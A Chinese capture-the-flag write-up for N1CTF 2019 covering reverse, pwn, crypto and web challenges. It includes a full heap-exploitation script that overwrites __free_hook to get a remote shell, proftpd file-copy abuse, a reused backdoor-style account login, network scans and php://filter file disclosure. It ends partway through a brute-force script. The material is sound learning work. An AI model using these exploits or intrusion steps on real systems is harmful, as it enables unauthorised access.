05 00 00 00 00 00 00 00                                 rcx = 5
                                                        -1
                                                        rdx = s[4: 8]
                                                        shr     dword ptr [rdx],
cl

76 29 44 00 00 00 00 00 04 D4 6C 00 00 00 00 00
E6 15 40 00 00 00 00 00 00 D5 6C 00 00 00 00 00
20 69 41 00 00 00 00 00 69 6D 42 00 00 00 00 00
25 0E 40 00 00 00 00 00 04 D4 6C 00 00 00 00 00
07 17 40 00 00 00 00 00 00 D4 6C 00 00 00 00 00
D1 B3 43 00 00 00 00 00
                                                        mov     ecx, [rsi];
s[0:4]<<4               6CD500
                                                        mov     [rdi], cx;
s[0:4]<<4&0xff
```

```
                                                        mov     [rdi+2], dh
E6 15 40 00 00 00 00 00
E1 02 40 00 00 00 00 00 20 69 41 00 00 00 00 00
2A 61 45 00 00 00 00 00                                 xor     ecx, [rbx+0];
s[0:4]<<4 ^ s[4:8]>>5
E6 15 40 00 00 00 00 00
0C D3 6C 00 00 00 00 00 20 69 41 00 00 00 00 00
89 4A 47 00 00 00 00 00 FA 5E 42 00 00 00 00 00         mov     eax, [rax]
                                                        ; rax = s[4;8]
                                                        add     eax, ecx
                                                        s[4;8] + (s[0:4]<<4 ^
s[4:8]>>5)


25 0E 40 00 00 00 00 00 E0 D3 6C 00 00 00 00 00
A3 CA 47 00 00 00 00 00 00 00 00 00 00 00 00 00         mov     [rbx+20h], eax

E6 15 40 00 00 00 00 00 00 D5 6C 00 00 00 00 00
07 17 40 00 00 00 00 00 00 D3 6C 00 00 00 00 00
D1 B3 43 00 00 00 00 00 76 29 44 00 00 00 00 00         rsi = 6CD300
                                                        mov     ecx, [rsi]; ecx
= 0




E1 02 40 00 00 00 00 00 E6 15 40 00 00 00 00 00
18 D4 6C 00 00 00 00 00 C6 15 43 00 00 00 00 00
07 17 40 00 00 00 00 00 80 D4 6C 00 00 00 00 00
E6 15 40 00 00 00 00 00 03 00 00 00 00 00 00 00         pop     rdi ;rdi = 3
                                                        and     ecx, edi

                                                        mov     ecx, [rdx+rcx*4]
                                                        mov     eax, [rdx+rax*4]
                                                        sub     eax, ecx
```

- 主要操作是开始载入输入地址，然后载入delta是5f3759df。
- 在6CD600设置大循环次数是0x20.
- 然后对输入进行操作，注意两次pop rcx的结果，分别是左移4和右移5，类似tea。
- 之后又有一次pop rdx的操作，使得rdi = 3
- 后续将rax和rcx分别作为index，查表，符合xtea的结构。
- 密钥是F14gF114gF11114g
- delta是5f3759df，写出脚本还原即可。

```
#include <stdio.h>
#include <stdint.h>

/* take 64 bits of data in v[0] and v[1] and 128 bits of key[0] - key[3] */

void encipher(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]) {
    unsigned int i;
    uint32_t v0 = v[0], v1 = v[1], sum = 0, delta = 0x5F3759DF;
    for (i = 0; i < num_rounds; i++) {
        v0 += (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);
        sum += delta;
        v1 += (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum >> 11) & 3]);
    }
    v[0] = v0; v[1] = v1;
}

void decipher(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]) {
    unsigned int i;
    uint32_t v0 = v[0], v1 = v[1], delta = 0x5F3759DF, sum = delta * num_rounds;
    for (i = 0; i < num_rounds; i++) {
        v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum >> 11) & 3]);
        sum -= delta;
        v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);
    }
    v[0] = v0; v[1] = v1;
}

int check(uint32_t *v)
{
    uint32_t const k[4] = { 0x67343146, 0x34313146, 0x31314667, 0x67343131 };
    unsigned int r = 32;//num_rounds建议取值为32
    decipher(r, v, k);

    printf("%c", v[0] & 0xff);
    printf("%c", (v[0] >> 8 )& 0xff);
    printf("%c", (v[0] >> 16) & 0xff);
    printf("%c", (v[0] >> 24) & 0xff);
    printf("%c", v[1] & 0xff);
    printf("%c", (v[1] >> 8) & 0xff);
    printf("%c", (v[1] >> 16) & 0xff);
    printf("%c", (v[1] >> 24) & 0xff);
    return 0;
}

int main()
{
    uint32_t cipher[] = { 0x86DAB2BE, 0x146D16A8, 0x3C9EDB52, 0x54F1658F,
0x19C12643, 0x2A33699D, 0x00CD9E6B, 0xC1CE3226 };
    check(&cipher[0]);
    check(&cipher[2]);
    check(&cipher[4]);
    check(&cipher[6]);
    return 0;
}
```

SimpleVM

找到了一些AES算法特征

```
.rodata:0551EE0 0400    Rijndael Td4 (0x52525252U) [32.le.1024]
.rodata:05522E0 0400    Rijndael Td3 (0xf4a75051U) [32.le.1024]
.rodata:05526E0 0400    Rijndael Td2 (0xa75051f4U) [32.le.1024]
.rodata:0552AE0 0400    Rijndael Td1 (0x5051f4a7U) [32.le.1024]
.rodata:0552EE0 0400    Rijndael Td0 (0x51f4a750U) [32.le.1024]
.rodata:05532E0 0400    Rijndael Te4 (0x63636363U) [32.le.1024]
.rodata:05536E0 0400    Rijndael Te3 (0x6363a5c6U) [32.le.1024]
.rodata:0553AE0 0400    Rijndael Te2 (0x63a5c663U) [32.le.1024]
.rodata:0553EE0 0400    Rijndael Te1 (0xa5c66363U) [32.le.1024]
.rodata:05542E0 0400    Rijndael Te0 (0xc66363a5U) [32.le.1024]
.rodata:0555700 0100    AES Rijndael Si / ARIA X1 [..256]
.rodata:0555800 0100    AES Rijndael S / ARIA S1 [..256]
```

在函数`main->sub_404A60->sub_4072B0`中初始化VM

```
  *(_QWORD *)(a2 + 200) = sub_406E00;
  *(_QWORD *)(a2 + 208) = sub_406FC0;
  *(_QWORD *)(a2 + 216) = sub_406DB0;
  *(_QWORD *)(a2 + 248) = sub_406C70;
  *(_QWORD *)(a2 + 256) = sub_406CA0;
  *(_QWORD *)(a2 + 240) = sub_4071B0;
  *(_QWORD *)(a2 + 192) = sub_406CC0;
  sub_4446D0(a2);
  v5 = *(_QWORD *)(a2 + 240) == 0LL;
  *(_DWORD *)(a2 + 1928) = 1024;
  *(_DWORD *)(a2 + 1932) = 1023;
  *(_QWORD *)(a2 + 224) = sub_406C50;
  *(_QWORD *)(a2 + 232) = sub_406C30;
  *(_QWORD *)(a2 + 288) = sub_413B50;
  *(_QWORD *)(a2 + 296) = sub_4139B0;
  *(_QWORD *)(a2 + 272) = sub_43DBE0;
  *(_QWORD *)(a2 + 280) = sub_431BC0;
  *(_QWORD *)(a2 + 304) = sub_4422F0;
  *(_QWORD *)(a2 + 312) = sub_4423F0;
  *(_QWORD *)(a2 + 320) = sub_443030;
  result = sub_4428B0;
  *(_QWORD *)(a2 + 328) = sub_4428B0;
```

是unicorn。主函数如下

```
 v13 = __readfsqword(0x28u);
  new_rsp = 0x12FFFC;
  uc_open(UC_ARCH_ARM, UC_MODE_LITTLE_ENDIAN, &uc);
  uc_mem_map(uc, 0LL, 0x20000LL, UC_PROT_ALL);
  uc_mem_map(uc, 0x25000uLL, 0x1000LL, UC_PROT_ALL);
  v5 = uc_mem_map(uc, 0x30000uLL, 0x100000LL, UC_PROT_ALL);
  uc_reg_write(uc, UC_ARM_REG_SP, &new_rsp);
  uc_mem_write(uc, 0x6A0LL, vmcode, 0x634uLL);
  uc_hook_add(uc, &trace1, UC_HOOK_CODE, sub_4044B6, 0LL, 1LL, 0LL, v3);
  uc_hook_add(
    uc,
    &trace2,

UC_HOOK_MEM_FETCH_UNMAPPED|UC_HOOK_MEM_WRITE_UNMAPPED|UC_HOOK_MEM_READ_UNMAPPED,
    sub_4044CC,
    0LL,
    1LL,
    0LL,
    v0);
  uc_hook_add(uc, &trace3, UC_HOOK_INTR, getFlag, 0LL, 1LL, 0LL, v1);
  v5 = uc_emu_start(uc, 0x7A0LL, 0x20000LL, 0LL, 0LL);
  v10 = 0LL;
  v11 = 0;
  v12 = 0;
  uc_mem_read(uc, 0x25000LL, &v10, 0xAuLL);
  printf("Your flag is  : N1CTF{%s}\n", &v10);
  uc_close(uc);
```

uc_open->arm_uc_init中修改了源码。

PWN

one_heap

菜单堆，uaf、tcache、IO_stdout组合题，限制0x40 size比较恶心

```
#! /usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *
import os, sys

# Setting at first
DEBUG = 3
LIBCV = 2.19
context.arch = "amd64"

context.log_level = "debug"
elf = ELF("./warmup",checksec=False)

# synonyms for faster typing
tube.s = tube.send
tube.sl = tube.sendline
tube.sa = tube.sendafter
tube.sla = tube.sendlineafter
tube.r = tube.recv
tube.ru = tube.recvuntil
tube.rl = tube.recvline
tube.ra = tube.recvall
tube.rr = tube.recvregex
tube.irt = tube.interactive

if DEBUG == 1:
    if context.arch == "i386":
        libc = ELF("/lib/i386-linux-gnu/libc.so.6",checksec=False)
    elif context.arch == "amd64":
        libc = ELF("/lib/x86_64-linux-gnu/libc.so.6",checksec=False)
    s = process("./warmup")
elif DEBUG == 2:
    if context.arch == "i386":
        libc = ELF("/root/toolchain/elf/glibc/glibc-"+str(LIBCV)+"/x86/libc.so.6",checksec=False)
        os.system("patchelf --set-interpreter /root/toolchain/elf/glibc/x86/glibc-"+str(LIBCV)+"/x86/ld-linux-x86-64.so.2 warmup")
        os.system("patchelf --set-rpath /root/toolchain/elf/glibc/glibc-"+str(LIBCV)+"/x86:/libc.so.6 warmup")
    elif context.arch == "amd64":
        libc = ELF("/root/toolchain/elf/glibc/glibc-"+str(LIBCV)+"/x64/libc.so.6",checksec=False)
        os.system("patchelf --set-interpreter /root/toolchain/elf/glibc/glibc-"+str(LIBCV)+"/x64/ld-linux-x86-64.so.2 warmup")
        os.system("patchelf --set-rpath /root/toolchain/elf/glibc/glibc-"+str(LIBCV)+"/x64:/libc.so.6 warmup")
    s = process("./warmup")
elif DEBUG == 3:
    libc = ELF("./libc-2.27.so",checksec=False)
    ip = "47.52.90.3"
    port = 9999
    s = remote(ip,port)

def z(addr):
    raw_input("debug?")
    gdb.attach(s, "b *" + str(addr))

wordSz = 4
hwordSz = 2
bits = 32
PIE = 0
mypid=0
def leak(address, size):
    with open("/proc/%s/mem" % mypid) as mem:
        mem.seek(address)
        return mem.read(size)

def findModuleBase(pid, mem):
    name = os.readlink("/proc/%s/exe" % pid)
    with open("/proc/%s/maps" % pid) as maps:
        for line in maps:
            if name in line:
                addr = int(line.split("-")[0], 16)
                mem.seek(addr)
                if mem.read(4) == "\x7fELF":
                    bitFormat = u8(leak(addr + 4, 1))
                    if bitFormat == 2:
                        global wordSz
                        global hwordSz
                        global bits
                        wordSz = 8
                        hwordSz = 4
                        bits = 64
                    return addr
    log.failure("Module's base address not found.")
    sys.exit(1)
```

```
def zx(addr = 0):
    global mypid
    mypid = proc.pidof(s)[0]
    raw_input("debug?")
    with open("/proc/%s/mem" % mypid) as mem:
        moduleBase = findModuleBase(mypid, mem)
        gdb.attach(s, "set follow-fork-mode parent\nb *" + hex(moduleBase+addr))

def clean():
    s.close()

    if DEBUG == 2:
        if context.arch == "i386":
            os.system("patchelf --set-interpreter /lib/ld-linux.so.2 warmup")
            os.system("patchelf --set-rpath /lib/i386-linux-gnu:/libc.so.6 warmup")
        if context.arch == "amd64":
            os.system("patchelf --set-interpreter /lib64/ld-linux-x86-64.so.2 warmup")
            os.system("patchelf --set-rpath /lib/x86_64-linux-gnu:/libc.so.6 warmup")

def menu(x):
    s.sla(">>", str(x))

def add(data):
    menu(1)
    s.sa("content>>", data)

def delete(idx):
    menu(2)
    s.sla("index:", str(idx))

def modify(idx, data):
    menu(3)
    s.sla("index:", str(idx))
    s.sa("content>>", data)

def pwn():
    add('A'*0x30)
    add('B'*0x30)
    add('C'*0x30)
    add('D'*0x30)


    add('E'*0x30)          # avoid overflow
    modify(4, "DDDD")
    delete(9)
    delete(9)
    delete(9)
    delete(4)

    #zx(0xB98)
    modify(0, 'a'*0x20 + p64(0) + p64(0x51))    # double free
    delete(9)
    delete(0)

    add('\xa0')
    add('EEEE')


    add(chr(0)*0x10+p64(0)+p64(0xa1))   # unsorted bin

    modify(1, 'D'*8)
    for i in range(7):
        delete(9)
    delete(9)

    modify(1, "\x60\x57")   # \x60



    delete(4)

    modify(3, 'DDDD')   # delete(3)
    delete(9)


    modify(3, '\xc0')
    add('DDDD')
    #### zx(0xB98) ##############
    add('DDDD')
    add(p64(0xfbad3887) + p64(0) * 3 + "\0")

    s.ru(p64(0xffffffffffffffff))
    s.r(8)
    libc.address = u64(s.r(6) + "\0\0") - 0x3eb780
    free_hook = libc.sym["__free_hook"]
    one_shot = libc.address + 0x4f322
    info("libc.address 0x%x", libc.address)
    info("free_hook 0x%x", free_hook)
    info("one_shot 0x%x", one_shot)

    #modify(7, p64(free_hook))


    delete(2)
    delete(3)
    delete(4)

    add(p64(free_hook))
    add('DDDD')
    add(p64(one_shot))

    delete(1)

    '''
    0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
    constraints:
    rcx == NULL

    0x4f322 execve("/bin/sh", rsp+0x40, environ)
    constraints:
    [rsp+0x40] == NULL

    0x10a38c    execve("/bin/sh", rsp+0x70, environ)
```

```
    constraints:
    [rsp+0x70] == NULL
    '''



    s.irt()
    #clean()
    # N1CTF{0359e2a5bf6222aa34bb22b7c099adda}




def dump():
    pwn()
    s.recv(timeout=1)
    s.sl("cat warmup")
    s.sl("exit")
    data = s.ra()
    f = open("dump", "wb")
    f.write(data)
    f.close()

if __name__ == "__main__":
    pwn()
```

CRYPTO

Part3-BabyRSA

若同余式`x**2 == a (mod m), (a, m) = 1`有解，则a叫做模m的平方剩余，否则就叫平方非剩余。雅可比符号`Jacobi(a, m)`是勒让得符号的推广，若雅可比符号为-1，则说明a是m的平方非剩余，但是为1并不能说明a是m的平方剩余。

首先构造中padding是经过平方处理的：
`padding = random.randint(0, 2**1000) ** 2`
假设产生随机数为`r`，则`padding = r ** 2`
并且不管随机数的因子中有多少个2，经过平方后，因子2个数必为偶数。

再根据明文的构造，这里加括号容易说明：
`message = padding << (1 + (m % 2))`
左移1或2位代表乘以`2**1`或`2**2`。
也就是说

- 如果`m%2==1`，那么构造的`message`加密后有：
  `message**e == ((2**2)*padding)**e == ((2**2)*(r**2))**e == ((2r)**e)**2 == C (mod N)`
- 如果`m%2==0`，那么构造的`message`加密后有：
  `message**e == ((2**1)*padding)**e == (2*(r**2))**e == C (mod N)`
  因为r中2因子为偶数个，所以一旦`m%2==0`，`Jacobi(C, N)`一定为-1，
  又因为`m%2==1`时，只要`(2r)**e`满足与`N`互素，则`Jacobi(C, N)`一定为1。
  因此可还原flag，脚本如下：

```
#!/usr/bin/env python3

# -*- coding: utf-8 -*-

import gmpy2

N = 23981306327188221819291352455300124608114670714977979223022816906368788909398653961976023086718129607035805397846230124785550919468973090809881210560931396002918119995710297723411794214888622784232065592366390586879306041418300835178522354945438521139847806375923379136235993890801176301812907708937658277646761892297209069757559519399120988948212988924583632878840216559421398253025960456164998680766732013248599742397199862820924441357624187811402515396393385081892966284318521068948266144251848088067639941653475035145362236917008153460707675427945577597137822575880268720238301307972813226576071488632898694390629
e = 0x10001

def Jacobi(n, m):
    n = n % m
    if n == 0:
        return 0
    Jacobi2 = 1
    if not (n & 1):
        k = (-1) ** (((m**2 - 1) // 8) & 1)
        while not (n & 1):
            Jacobi2 *= k
            n >>= 1
    if n == 1:
        return Jacobi2
    return Jacobi2 * ((-1) ** ((((m - 1) // 2) * ((n - 1) // 2)) & 1)) * Jacobi(
m % n, n)

c = []

with open('flag.enc', 'r') as f:
    c = list(map(lambda x: int(x[:-1], 16), f.read().split('\n')[:-1]))

flag = []

for c_i in c:
    if Jacobi(c_i, N) == 1:
        flag.append("1")
    else:
        flag.append("0")

print(bytes.fromhex(hex(int("".join(flag[::-1]), 2))[2:]))
```

WEB

Pentest N1ctf2019.lab(step1)

proftpd 1.3.5rc3

```
ftp> dir
200 PORT command successful
150 Opening ASCII mode data connection for file list
-rw-r--r--   1 ftp      nogroup        60 Sep  8 12:42 23333.php
-rw-r--r--   1 root     root           60 Sep  7 07:47 w3lc0m3_T0_N1ctf.msg
-rw-r--r--   1 ftp      nogroup        60 Sep  8 11:10 fxxky0u.php
-rw-r--r--   1 root     root           26 Sep  7 07:47 index.html
-rw-r--r--   1 ftp      nogroup        60 Sep  8 12:18 qiyou.php
-rw-r--r--   1 ftp      nogroup        60 Sep  8 12:43 test.php
226 Transfer complete
```

```
ftp> site cpfr w3lc0m3_T0_N1ctf.msg
350 File or directory exists, ready for destination name
ftp> site cpto mads.php
250 Copy successful
```

http://bugs.proftpd.org/show_bug.cgi?id=4372

http://47.52.129.242/mote.php
http://47.52.129.242/mads.php

根据ftp的两种模式原理，主动模式需要客户端端口打开，所以本地一般不能成功，会被防火墙阻断，放在服务器连接ftp，用主动模式即可。

然后根据提示用snap的漏洞打
CVE-2019-7304

但是服务器的snap version是4.0

```
snap    2.40
snapd   2.40
series  16
ubuntu  14.04
kernel  4.4.0-93-generic
```

没法打，查看/etc/passwd

```
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
```

```
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System
(admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
libuuid:x:100:101::/var/lib/libuuid:
syslog:x:101:104::/home/syslog:/bin/false
messagebus:x:102:106::/var/run/dbus:/bin/false
ntp:x:103:109::/home/ntp:/bin/false
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
proftpd:x:105:65534::/var/run/proftpd:/bin/false
ftp:x:106:65534::/srv/ftp:/bin/false
dirty_sock:x:1000:1000::/home/dirty_sock:/bin/bash
```

有一个dirty_sock用户，然后，小机灵直接猜一下之前应该有人打过（也可能是snap被人升级了，或者出题人留下的后门），如果没改账号密码，我就可以直接登上了
dirty_sock
dirty_sock

```
dirty_sock@web:/$ sudo cat /root/flag.txt
N1CTF{Imp0rtant_P0int3_4de0e}
```

Pentest N1ctf2019.lab(step 2) ——部分思路

nmap 扫一下C段。扫到一个10.0.0.88
nmap扫一下端口

```
NSE: Loaded 125 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 13:09
Completed NSE at 13:09, 0.00s elapsed
Initiating NSE at 13:09
Completed NSE at 13:09, 0.00s elapsed
Initiating Parallel DNS resolution of 1 host. at 13:09
Completed Parallel DNS resolution of 1 host. at 13:09, 0.00s elapsed
Initiating Connect Scan at 13:09
Scanning 10.0.0.88 [1000 ports]
Discovered open port 445/tcp on 10.0.0.88
Discovered open port 139/tcp on 10.0.0.88
Discovered open port 135/tcp on 10.0.0.88
Discovered open port 80/tcp on 10.0.0.88
Discovered open port 3389/tcp on 10.0.0.88
Discovered open port 49153/tcp on 10.0.0.88
Discovered open port 49163/tcp on 10.0.0.88
Discovered open port 49156/tcp on 10.0.0.88
Discovered open port 49154/tcp on 10.0.0.88
Discovered open port 49155/tcp on 10.0.0.88
Discovered open port 49152/tcp on 10.0.0.88
Completed Connect Scan at 13:09, 2.42s elapsed (1000 total ports)
Initiating Service scan at 13:09
Scanning 11 services on 10.0.0.88
Service scan Timing: About 54.55% done; ETC: 13:11 (0:00:44 remaining)
Completed Service scan at 13:10, 58.55s elapsed (11 services on 1 host)
NSE: Script scanning 10.0.0.88.
Initiating NSE at 13:10
```

```
Completed NSE at 13:10, 6.78s elapsed
Initiating NSE at 13:10
Completed NSE at 13:10, 0.01s elapsed
Nmap scan report for 10.0.0.88
Host is up (0.00013s latency).
Not shown: 989 closed ports
PORT      STATE SERVICE      VERSION
80/tcp    open  http         Apache httpd 2.4.39 ((Win32) PHP/5.5.9)
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.39 (Win32) PHP/5.5.9
|_http-title: Index of img/
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows 98 netbios-ssn
445/tcp   open  microsoft-ds Microsoft Windows Server 2008 R2 microsoft-ds
3389/tcp  open  ssl
49152/tcp open  msrpc        Microsoft Windows RPC
49153/tcp open  msrpc        Microsoft Windows RPC
49154/tcp open  msrpc        Microsoft Windows RPC
49155/tcp open  msrpc        Microsoft Windows RPC
49156/tcp open  msrpc        Microsoft Windows RPC
49163/tcp open  msrpc        Microsoft Windows RPC
Service Info: OSs: Windows, Windows 98, Windows Server 2008 R2; CPE:
cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_98,
cpe:/o:microsoft:windows_server_2008:r2

Host script results:
| nbstat: NetBIOS name: DEV, NetBIOS user: <unknown>, NetBIOS MAC:
00:16:3e:01:30:66 (Xensource)
| Names:
|   N1CTF2019<00>        Flags: <group><active>
|   DEV<00>              Flags: <unique><active>
|_  DEV<20>              Flags: <unique><active>
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_smbv2-enabled: Server supports SMBv2 protocol

NSE: Script Post-scanning.
Initiating NSE at 13:10
Completed NSE at 13:10, 0.00s elapsed
Initiating NSE at 13:10
Completed NSE at 13:10, 0.00s elapsed
Read data files from: /usr/local/bin/../share/nmap
Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 68.61 seconds
```

其实也可以在连接中看到一个地址

```
10.0.0.85:40460         10.0.0.88:80            ESTABLISHED
```

真贴心，nmap,python2跟3都装好了

用ssh建立一个socks5代理，将端口转发出来，方便操作

```
socks5://123.206.176.165:62333
```

```
view-source:http://10.0.0.88/readfile.php?path=php://filter/read=convert.base64-
encode/resource=readfile.php
```

readfile.php

```
<?php
header('Content-type: image/jpg');
@readfile($_GET["path"]);
```

index.php

```
<!DOCTYPE html>
<html>
<?php
error_reporting(0);
$path = "img/";
$items = array();
if (is_dir($path)){
    if ($dh = opendir($path)){
        while (($file = readdir($dh)) !== false){
            $info =
array("name"=>$file,"size"=>filesize($path.$file),"date"=>date("Y-m-d
H:i:s",filectime($path.$file)),"Date_modify"=>date("Y-m-d
H:i:s",filemtime($path.$file)));
            array_push($items,$info);
        }
        closedir($dh);
    }
}

function readimg($img){
    global $path,$type;
    if ($img=="."||$img==".."){
        $type = "icon-dir";
        return "#";
    }
    $type="icon-file";
    $img = "readfile.php?path=".$path.$img;
    return $img;
}
?>
<head>
    <title>Index of <?php echo urldecode($path);?></title>
    <meta charset="utf-8">
    <style>
```

```
        *{box-sizing:border-box}h1{border-bottom:1px solid silver;margin-
bottom:10px;padding-bottom:10px;white-space:nowrap}table{border-
collapse:collapse;font-family:Consolas,monaco,monospace}th{font-
weight:700}.file-name{text-align:left}.file-size{padding-left:4em}.file-date-
created,.file-date-modified{padding-left:2em}.file-date-created,.file-date-
modified,.file-size{text-align:end;white-space:nowrap}.icon{padding-
left:1.5em;text-decoration:none}.icon:hover{text-decoration:underline}.icon-
file{background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAIAAA
CQkWg2AAAABnRSTlMAAAAAAABupgeRAAABHUlEQVR42o2RMW7DIBiF3498iHRJD5JKHurL+CRVBp+i2T
16tTynF2gO0KSb5ZrBBl4HHDBuK/WXACH4eO9/CAAAbdvijzLGNE1TVZXfZuHg6XCAQESAZXbOKaXO57
eiKG6ft9PrKQIkCQqFoIiQFBGlFIB5nvM8t9aOX2Nd18oDzjnPgCDpn/BH4zh2XZdlWVmWiUK4IgCBoF
MUz9eP6zRN75cLgEQhcmTQIbl72O0f9865qLAAsURAAgKBJKEtgLXWvyjLuFsThCSstb8rBCaAQhDYWg
IZ7myM+TUBjDHrHlZcbMYYk34cN0YSLcgS+wL0fe9TXDMbY33fR2AYBvyQ8L0Gk8MwREBrTfKe4TpTzw
hArXWi8HI84h/1DfwI5mhxJamFAAAAAElFTkSuQmCC) left top no-repeat}.icon-
dir{background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAA
f8/9hAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAd5JREFUeNqMU79rFUEQ/vb
uodFEEkzAImBpkUabFP4ldpaJhZXYm/RiZWsv/hkWFglBUyTIgyAIIfgIRjHv3r39MePM7N3LcbxAFvZ
2b2bn22/mm3XMjF+HL3YW7q28YSIw8mBKoBihhhgCsoORot9d3/ywg3YowMXwNde/PzGnk2vn6PitrT+
/PGeNaecg4+qNY3D43vy16A5wDDd4Aqg/ngmrjl/GoN0U5V1QquHQG3q+TPDVhVwyBffcmQGJmSVfyZk
7R3SngI4JKfwDJ2+05zIg8gbiereTZRHhJ5KCMOwDFLjhoBTn2g0ghagfKeIYJDPFyibJVBtTREwq60S
pYvh5++PpwatHsxSm9QRLSQpEVSd7/TYJUb49TX7gztpjjEffnoVw66+Ytovs14Yp7HaKmUXeX9rKUoM
oLNW3srqI5fWn8JejrVkKOQcrkFLOgS39yoKUQe292WJ1guUHG8K2o8KOOoO1BTvXoW4yasclUTgZYJY
9aFNfAThX5CZRmczAV52oAPoupHhWRIUUAOoyUIlYVaAa/VbLbyiZUiyFbjQFNwiZQSGl4IDy9sO5Wrt
yOQLKhdZPxmgGcDo8ejn+c/6eiK9poz15Kw7Dr/vN/z6W7q++091/AQYA5mZ8GYJ9K0AAAAAASUVORK5
CYII=) left top no-repeat}.icon-
up{background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf
8/9hAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAmlJREFUeNpsU0toU0EUPfPy
sx/tTxuDH9SCWhUDooIbd7oRUUTMouqi2iIoCO6lceHWhegy4EJFinWjrlQUpVm0IIoFpVDEIthm0dpi
kpf3ZuZ6Z94nrXhhMjM3c8895977BBHB2PznK8WPtDgyWH5q77cPH8PpdXuhpQT4ifR9u5sfJb1bmw6V
ivahATDrxcRZ2njfoaMv+2j7mLDn93MPiNRMvGbL18L9IpF8h9/TN+EYkMffSiOXJ5+hkD+PdqcLpICW
HOHc2CC+LEyA/K+cKQMnlQHJX8wqYG3MAJy88Wa4OLDvEqAEOpJd0LxHIMdHBziowSwVlF8D6QaicKO1
krw/JynwcKoEwZczewroTvZirlKJs5CqQ5CG8pb57FnJUA0LYCXMX5fibd+p8LWDDemcPZbzQyjvH+Ki
1TlIciElA7ghwLKV4kRZstt2sANWRjYTAGzuP2hXZFpJ/GsxgGJ0ox1aoFWsDXyyxqCs26+ydmagFN/r
RjymJ1898bzGzmQE0HCZpmk5A0RFIv8Pn0WYPsiu6t/Rsj6PauVTwffTSzGAGZhUG2F06hEc9ibS7OPM
Np6ErYFlKavo7MkhmTqCxZ/jwzGA9Hx82H2BZSw1NTN9Gx8ycHkajU/7M+jInsDC7DiaEmo1bNl1AMr9
ASFgqVu9MCTIzoGUimXVAnnaN0PdBBDCCYbEtMk6wkpQwIG0sn0PQIUF4GsTwLSIFKNqF6DVrQq+IWVr
QDxAYQC/1SsYOI4pOxKZrfifiUSbDUisif7XlpGIPufXd/uvdvZm760M0no1FZcnrzUdjw7au3vu/BVg
AFLXeuTxhTXVAAAAAElFTkSuQmCC) left top no-repeat}
    </style>
</head>
<body>
<h1 id="heading">Index of <?php echo urldecode($path);?></h1>
<table id="table">
    <tr><th class="file-name">Name</th><th class="file-size">Size</th><th
class="file-date-created">Date Created</th><th class="file-date-modified">Date
Modified</th></tr>
    <?php foreach((array)$items as $item):?>
            <tr>
                <td class="file-name"><a href="<?php echo
readimg($item['name']);?>" class="icon <?php echo $type;?>"><?php echo
$item['name'];?></a></td>
                <td class="file-size"><?php  echo $item['size'];?></td>
                <td class="file-date-created"><?php  echo $item['date'];?></td>
                <td class="file-date-modified"><?php echo $item['Date_modify'];?
></td>
            </tr>
    <?php endforeach;?>
</table>
```

```
</body>
</html>
```

感觉这台88的应该就是dc，但是445打不通，在80端口上面给了个Kerberos的提示，一直到比赛结束也没想到怎么做。:(

sql_manage部分思路

源码：http://47.91.213.248:8000/www.zip

```
//Query.py
public function getcode()
    {
        $code_str = "substr(md5(?+'Nu1L'), 0, 5) === $this->session_code";
        return $code_str;
    }

//substr(md5(?+'Nu1L'), 0, 5) === 258fc




#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Date    : 2019-09-06 21:16:35
# @Author  : Mote(mrzhangsec@163.com)
import requests
import re
import hashlib

s = requests.session()
header = {
    'Cookie': 'PHPSESSID=ri6vv8t94r501ldrd95mjcm4is'
}

def baopoyanzhengma_md5(string):
    string = string
    result = []
    for i in range(10000000,99999999):
        test = str(i)+'Nu1L'
        if hashlib.md5(test.encode("utf-8")).hexdigest()[:5] == string:
            result.append(i)
            break
    return result

def getcode():

    getcodeurl = 'http://47.91.213.248:8000/getcode'
    res = s.get(url=getcodeurl,headers=header)
    precode = re.findall("=== (.*)",res.text)[0]
    return baopoyanzhengma_md5(precode)

def sendquery(code):
    queryurl = 'http://47.91.213.248:8000/query'
    data = {
